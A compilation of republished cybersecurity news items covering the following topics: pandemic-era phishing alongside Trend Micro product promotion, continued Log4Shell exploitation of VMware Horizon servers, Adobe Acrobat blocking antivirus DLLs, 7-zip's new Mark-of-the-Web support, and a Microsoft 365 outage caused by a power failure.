While they kicked off majority of Covid-19-related phishing emails and sites in 2020, cybercriminals still exploited the global pandemic for financial gain. Last year, Mexico-based medical laboratory El Chopo shared that a fraudulent website that looked identical to the company’s had been launched. On that website, users could schedule a vaccination appointment after paying MXN2,700 (approximately US$130). To make the fake website appear credible, the malicious actors behind it added fake contact information such as email addresses and social media pages that victims can use for inquiries.

Early last year, we reported on a wave of phishing emails that pretended to be coming from national postal systems. This campaign attempted to steal credit card numbers from 26 countries. We also investigated a spear-phishing campaign that used Pegasus spyware-related emails to lead victims into downloading a file stealer. This campaign targeted high-ranking political leaders, activists, and journalists in 11 countries.

Protect emails, endpoints, and cloud-based services and apps from attacks with Trend Micro Cloud App Security

Organizations should consider a comprehensive multilayered security solution such as Trend Micro Cloud App Security. It supplements the preexisting security features in email and collaboration platforms like Microsoft 365 and Google Workspace (formerly known as G Suite) by using machine learning (ML) to analyze and detect any suspicious content in the message body and attachments of an email. It also acts as a second layer of protection after emails and files have passed through Microsoft 365 or Gmail’s built-in security.

Trend Micro Cloud App Security uses technologies such as sandbox malware analysis, document exploit detection, and file, email, and web reputation technologies to detect malware hidden in Microsoft 365 or PDF documents. It provides data loss prevention (DLP) and advanced malware protection for Box, Dropbox, Google Drive, SharePoint Online, OneDrive for Business, and Salesforce while also enabling consistent DLP policies across multiple cloud-based applications. It also offers seamless integration with an organization’s existing cloud setup, preserving full user and administrator functionality, providing direct cloud-to-cloud integration through vendor APIs, and minimizing the need for additional resources by assessing threat risks before sandbox malware analysis.

Trend Micro Cloud App Security stands on the cutting edge of email and software-as-a-service (SaaS) security, offering ML-powered features that combat two of the primary email-based threats: BEC and credential phishing. Writing Style DNA can help determine if an email is legitimate by using ML to check a user’s writing style based on past emails and then comparing suspicious emails against it. Computer vision, on the other hand, combines image analysis and ML to check branded elements, login forms, and other site content. It then pools this information with site reputation elements and optical character recognition (OCR) to check for fake and malicious sites — all while reducing instances of false positives to detect credential phishing email.

This security solution also comes with an option to rescan historical URLs in users’ email metadata and perform continued remediation (automatically taking configured actions or restoring quarantined messages) using newer patterns updated by Web Reputation Services.

This is a significant option since users’ email metadata might include undetected suspicious or dangerous URLs that have only recently been discovered. The examination of such metadata is thus an important part of forensic investigations that help determine if your email service has been affected by attacks. This solution also officially supports the Time-of-Click Protection feature to protect Exchange Online users against potential risks when they access URLs in incoming email messages.

Trend Micro Cloud App Security also comes with the advanced and extended security capabilities of Trend Micro XDR, providing investigation, detection, and response across your endpoints, email, and servers.

Source :
https://www.trendmicro.com/vinfo/us/security/research-and-analysis/threat-reports/roundup/trend-micro-cloud-app-security-threat-report-2021

Log4Shell Still Being Exploited to Hack VMWare Servers to Exfiltrate Sensitive Data

The U.S. Cybersecurity and Infrastructure Security Agency (CISA), along with the Coast Guard Cyber Command (CGCYBER), on Thursday released a joint advisory warning of continued attempts on the part of threat actors to exploit the Log4Shell flaw in VMware Horizon servers to breach target networks.

“Since December 2021, multiple threat actor groups have exploited Log4Shell on unpatched, public-facing VMware Horizon and [Unified Access Gateway] servers,” the agencies said. “As part of this exploitation, suspected APT actors implanted loader malware on compromised systems with embedded executables enabling remote command-and-control (C2).”

In one instance, the adversary is said to have been able to move laterally inside the victim network, obtain access to a disaster recovery network, and collect and exfiltrate sensitive law enforcement data.

Log4Shell, tracked as CVE-2021-44228 (CVSS score: 10.0), is a remote code execution vulnerability affecting the Apache Log4j logging library that’s used by a wide range of consumers and enterprise services, websites, applications, and other products.

Successful exploitation of the flaw could enable an attacker to send a specially-crafted command to an affected system, enabling the actors to execute malicious code and seize control of the target.

Based on information gathered as part of two incident response engagements, the agencies said that the attackers weaponized the exploit to drop rogue payloads, including PowerShell scripts and a remote access tool dubbed “hmsvc.exe” that’s equipped with capabilities to log keystrokes and deploy additional malware.

“The malware can function as a C2 tunneling proxy, allowing a remote operator to pivot to other systems and move further into a network,” the agencies noted, adding it also offers a “graphical user interface (GUI) access over a target Windows system’s desktop.”

The PowerShell scripts, observed in the production environment of a second organization, facilitated lateral movement, enabling the APT actors to implant loader malware containing executables that include the ability to remotely monitor a system’s desktop, gain reverse shell access, exfiltrate data, and upload and execute next-stage binaries.

Furthermore, the adversarial collective leveraged CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager that came to light in April 2022, to deliver the Dingo J-spy web shell.

Ongoing Log4Shell-related activity even after more than six months suggests that the flaw is of high interest to attackers, including state-sponsored advanced persistent threat (APT) actors, who have opportunistically targeted unpatched servers to gain an initial foothold for follow-on activity.

According to cybersecurity company ExtraHop, Log4j vulnerabilities have been subjected to relentless scanning attempts, with financial and healthcare sectors emerging as an outsized market for potential attacks.

“Log4j is here to stay, we will see attackers leveraging it again and again,” IBM-owned Randori said in an April 2022 report. “Log4j buried deep into layers and layers of shared third-party code, leading us to the conclusion that we’ll see instances of the Log4j vulnerability being exploited in services used by organizations that use a lot of open source.”

Source :
https://thehackernews.com/2022/06/log4shell-still-being-exploited-to-hack.html

Adobe Acrobat may block antivirus tools from monitoring PDF files

Security researchers found that Adobe Acrobat is trying to block security software from having visibility into the PDF files it opens, creating a security risk for the users.

Adobe’s product is checking if components from 30 security products are loaded into its processes and likely blocks them, essentially denying them from monitoring for malicious activity.

Flagging incompatible AVs

For a security tool to work, it needs visibility into all processes on the system, which is achieved by injecting dynamic-link libraries (DLLs) into software products launching on the machine.

PDF files have been abused in the past to execute malware on the system. One method is to add a command in the ‘OpenAction’ section of document to run PowerShell commands for malicious activity, explain the researchers at cybersecurity company Minerva Labs.

“Since March of 2022 we’ve seen a gradual uptick in Adobe Acrobat Reader processes attempting to query which security product DLLs are loaded into it by acquiring a handle of the DLL” – Minerva Labs

According to a report this week, the list has grown to include 30 DLLs from security products of various vendors. Among the more popular ones with consumers are Bitdefender, Avast, Trend Micro, Symantec, Malwarebytes, ESET, Kaspersky, F-Secure, Sophos, Emsisoft.

Querying the system is done with ‘libcef.dll’, a Chromium Embedded Framework (CEF) Dynamic Link Library used by a wide variety of programs.

While the Chromium DLL comes with a short list of components to be blacklisted because they cause conflicts, vendors using it can make modifications and add any DLL they want.

Chromium’s list of hardcoded DLLssource: Minerva Labs

The researchers explain that “libcef.dll is loaded by two Adobe processes: AcroCEF.exe and RdrCEF.exe” so both products are checking the system for components of the same security products.

Looking closer at what happens with the DLLs injected into Adobe processes, Minerva Labs found that Adobe checks if the bBlockDllInjection value under the registry key ‘SOFTWARE\Adobe\Adobe Acrobat\DC\DLLInjection\’ is set to 1. If so, it will prevent antivirus software’s DLLs from being injected into processes.

It is worth noting that the registry key’s value when Adobe Reader runs for the first time is ‘0’ and that it can be modified at any time.

“With the registry key name dBlockDllInjection, and looking at the cef documentation, we can assume that the the blacklisted DLLs are designated to be unloaded” – Minerva Labs

According to Minerva Labs researcher Natalie Zargarov, the default value for the registry key is set to ‘1’ – indicating active blocking. This setting may depend on the operating system or the Adobe Acrobat version installed, as well as other variables on the system.

In a post on Citrix forums on March 28, a user complaining about Sophos AV errors due to having an Adobe product installed said that the company “suggested to disable DLL-injection for Acrobat and Reader.

Adobe responding to Citrix user experiencing errors on machine with Sophos AV

Working on the problem

Replying to BleepingComputer, Adobe confirmed that users have reported experiencing issue due to DLL components from some security products being incompatible with Adobe Acrobat’s usage of the CEF library.

“We are aware of reports that some DLLs from security tools are incompatible with Adobe Acrobat’s usage of CEF, a Chromium based engine with a restricted sandbox design, and may cause stability issues” – Adobe

The company added that it is currently working with these vendors to address the problem and “to ensure proper functionality with Acrobat’s CEF sandbox design going forward.”

Minerva Labs researchers argue that Adobe chose a solution that solves compatibility problems but introduces a real attack risk by preventing security software from protecting the system.

BleepingComputer has contacted Adobe with further questions to explain the conditions the DLL blocking occurs and will update the article once we have the information.

Source :
https://www.bleepingcomputer.com/news/security/adobe-acrobat-may-block-antivirus-tools-from-monitoring-pdf-files/

7-zip now supports Windows ‘Mark-of-the-Web’ security feature

7-zip has finally added support for the long-requested ‘Mark-of-the-Web’ Windows security feature, providing better protection from malicious downloaded files.

When you download documents and executables from the web, Windows adds a special ‘Zone.Id’ alternate data stream to the file called the Mark-of-the-Web (MoTW).

This identifier tells Windows and supported applications that the file was downloaded from another computer or the Internet and, therefore, could be a risk to open.

When you attempt to open a downloaded file, Windows will check if a MoTW exists and, if so, display additional warnings to the user, asking if they are sure they wish to run the file.

Launching a downloaded executable containing a MoTW
Launching a downloaded executable containing a MoTW
Source: BleepingComputer

 Microsoft Office will also check for the Mark-of-the-Web, and if found, it will open documents in Protected View, with the file in read-only mode and macros disabled.

Word document opened in Protected View
Word document opened in Protected View
Source: BleepingComputer

To check if a downloaded file has the Mark-of-the-Web, you can right-click on it in Windows Explorer and open its properties.

If the file contains a MoTW, you will see a message at the bottom stating, “This file came from another computer and might be blocked to help protection this computer.”

File property indicator for the Mark-of-the-Web
File property indicator for the Mark-of-the-Web
Source: BleepingComputer

If you trust the file and its source, you can put a check in the ‘Unblock‘ box and click on the ‘Apply‘ button, which will remove the MoTW from the file.

Furthermore, running the file for the first time and allowing it to open will also remove the MoTW, so warnings are not shown in the future.

7-zip adds support for Mark-of-the-Web

7-zip is one of the most popular archiving programs in the world, but, until now, it lacked support for Mark-of-the-Web.

This meant that if you downloaded an archive from the Internet and extracted it with 7-zip, the Mark-of-the-Web would not propagate to the extracted files, and Windows would not treat the extracted files as risky.

For example, if you downloaded a ZIP file containing a Word document, the ZIP file would have a MoTW, but the extracted Word document would not. Therefore, Microsoft Office would not open the file in Protected View.

Over the years, numerous security researchers, developers, and engineers have requested that the 7-Zip developer, Igor Pavlov, add the security feature to his archiving utility.

Tweet by SwiftOnSecurity

Pavlov said he doesn’t like the feature as it adds extra overhead to the program.

“The overhead for that property (additional Zone Identifier stream for each file) is not good in some cases,” explained Pavlov in a 7-zip bug report.

However, this all changed last week after Pavlov added a new setting in 7-zip 22.00 that enables you to propagate MoTW streams from downloaded archives to its extracted files.

To enable this setting, search for and open the ‘7-Zip File Manager,’ and when it opens, click on Tools and then Options. Under the 7-Zip tab, you will now see a new option titled ‘Propagate Zone.Id stream’ and the ability to set it to ‘No,’ ‘Yes,’ or ‘For Office files.’

Set this option to ‘Yes’ or ‘For Office files,’ which is less secure, and then press the OK button.

New Propagate Zone.Id stream in 7-Zip
New Propagate Zone.Id stream in 7-Zip
Source: BleepingComputer

With this setting enabled, when you download an archive and extract its files, the Mark-of-the-Web will also propagate to the extracted files.

With this additional security, Windows will now prompt you as to whether you wish to run downloaded files and Microsoft Office will open documents in Protected View, offering increased security.

To take advantage of this new feature, you can download 7-zip 22.0 from 7-zip.org.

Source :
https://www.bleepingcomputer.com/news/microsoft/7-zip-now-supports-windows-mark-of-the-web-security-feature/

Microsoft reveals cause behind this week’s Microsoft 365 outage

Microsoft has revealed that this week’s Microsoft 365 worldwide outage was caused by an infrastructure power outage that led to traffic management servicing failovers in multiple regions.

Starting on Monday, June 20, at 11:00 PM UTC, customers began experiencing and reporting several issues while trying to access and use Microsoft 365 services.

According to Microsoft, problems encountered during the incident included delays and failures when accessing some Microsoft 365 services.

Customer reports also shared info on continuous re-login requests, emails not getting delivered after being stuck in queues, and the inability to access Exchange Online mailboxes despite trying all available connection methods.

The affected services included the Microsoft Teams communication platform, the Exchange Online hosted email platform, SharePoint Online, Universal Print, and the Graph API.

Microsoft’s response while investigating the root cause behind the outage also brought to light some issues related to how the company fails to share new incident-related info with customers.

Even though Microsoft told customers they could find out more about this incident from the admin center under EX394347 and MO394389, user reports suggest that those incident tickets were not showing up, effectively keeping the customers in the dark.

16-hour-long incident caused by power failure

More than 16 hours after the first signs of the outage were detected, on Tuesday, June 21, at 3:27 PM UTC, Microsoft said in an update to the MO394389 service alert sent to customers that the root cause was an infrastructure power loss.

“An infrastructure power outage necessitated failing over Microsoft 365 traffic management servicing users primarily in Western Europe,” the company explained.

“This action failed to properly complete, leading to functional delays and access failures for several Microsoft 365 services.”

The outage was most severe for customers in Western Europe. Still, the impact extended to “a small percentage” users throughout EMEA (Europe, the Middle East, and Africa), North America, and the Asia-Pacific regions.

Redmond also refuted reports that a separate outage affecting the company’s Outlook on the web service was also linked to this incident.

“We’ve confirmed from our updated service monitoring that all services remain healthy following the targeted restarts,” Microsoft added.

“Additionally, we completed our investigation into the potential remaining impact to Outlook on the web and confirmed that this is a known issue

which is unrelated to this event.”

On Tuesday, Cloudflare was also hit by a massive outage that affected over a dozen data centers and hundreds of major online platforms and services.

Cloudflare revealed that the incident was caused by a configuration error while implementing a change that would have otherwise increased its network’s resilience.

Source :
https://www.bleepingcomputer.com/news/microsoft/microsoft-reveals-cause-behind-this-week-s-microsoft-365-outage/